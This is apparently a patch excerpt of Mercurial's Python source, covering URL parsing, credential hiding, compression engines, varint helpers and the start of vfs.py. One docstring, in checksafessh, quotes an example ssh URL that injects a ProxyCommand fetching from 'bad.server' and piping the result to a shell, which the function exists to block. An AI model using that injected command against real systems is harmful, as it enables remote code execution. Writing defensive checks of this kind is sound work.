             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise error.Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (pycompat.bytestr(path),))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr = procutil.stderr
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=procutil.stderr, otherf=procutil.stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         stringutil.forcebytestr(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # TODO consider omitting frame magic to save 4 bytes.
             # This writes content sizes into the frame header. That is
             # extra storage. But it allows a correct size memory allocation
             # to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         stringutil.forcebytestr(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
         value._origdoc = engine.bundletype.__doc__
         value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
 i18nfunctions = bundlecompressiontopics().values()
 
 # convenient shortcut
 dst = debugstacktrace
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = '%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = '%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(_("stream ended unexpectedly"
                            " (got %d bytes, expected %d)")
                           % (len(s), n))
     return s
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError('negative value for uvarint: %d'
                                      % value)
     bits = value & 0x7f
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7f
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return ''.join(bytes)
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= ((byte & 0x7f) << shift)
         if not (byte & 0x80):
             return result
         shift += 7

mercurial/vfs.py

@@ -1,652 +1,653 b''
 # vfs.py - Mercurial 'vfs' classes
 #
 #  Copyright Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 from __future__ import absolute_import
 
 import contextlib
 import errno
 import os
 import shutil
 import stat
 import threading
 
 from .i18n import _
 from . import (
     encoding,
     error,
     pathutil,
     pycompat,
     util,
 )
 
 def _avoidambig(path, oldstat):
     """Avoid file stat ambiguity forcibly
 
     This function causes copying ``path`` file, if it is owned by
     another (see issue5418 and issue5584 for detail).
     """
     def checkandavoid():
         newstat = util.filestat.frompath(path)
         # return whether file stat ambiguity is (already) avoided
         return (not newstat.isambig(oldstat) or
                 newstat.avoidambig(path, oldstat))
     if not checkandavoid():
         # simply copy to change owner of path to get privilege to
         # advance mtime (see issue5418)
         util.rename(util.mktempcopy(path), path)
         checkandavoid()
 
 class abstractvfs(object):
     """Abstract base class; cannot be instantiated"""
 
     def __init__(self, *args, **kwargs):
         '''Prevent instantiation; don't call this from subclasses.'''
         raise NotImplementedError('attempted instantiating ' + str(type(self)))
 
     def tryread(self, path):
         '''gracefully return an empty string for missing files'''
         try:
             return self.read(path)
         except IOError as inst:
             if inst.errno != errno.ENOENT:
                 raise
         return ""
 
     def tryreadlines(self, path, mode='rb'):
         '''gracefully return an empty array for missing files'''
         try:
             return self.readlines(path, mode=mode)
         except IOError as inst:
             if inst.errno != errno.ENOENT:
                 raise
         return []
 
     @util.propertycache
     def open(self):
         '''Open ``path`` file, which is relative to vfs root.
 
         Newly created directories are marked as "not to be indexed by
         the content indexing service", if ``notindexed`` is specified
         for "write" mode access.
         '''
         return self.__call__
 
     def read(self, path):
         with self(path, 'rb') as fp:
             return fp.read()
 
     def readlines(self, path, mode='rb'):
         with self(path, mode=mode) as fp:
             return fp.readlines()
 
     def write(self, path, data, backgroundclose=False, **kwargs):
         with self(path, 'wb', backgroundclose=backgroundclose, **kwargs) as fp:
             return fp.write(data)
 
     def writelines(self, path, data, mode='wb', notindexed=False):
         with self(path, mode=mode, notindexed=notindexed) as fp:
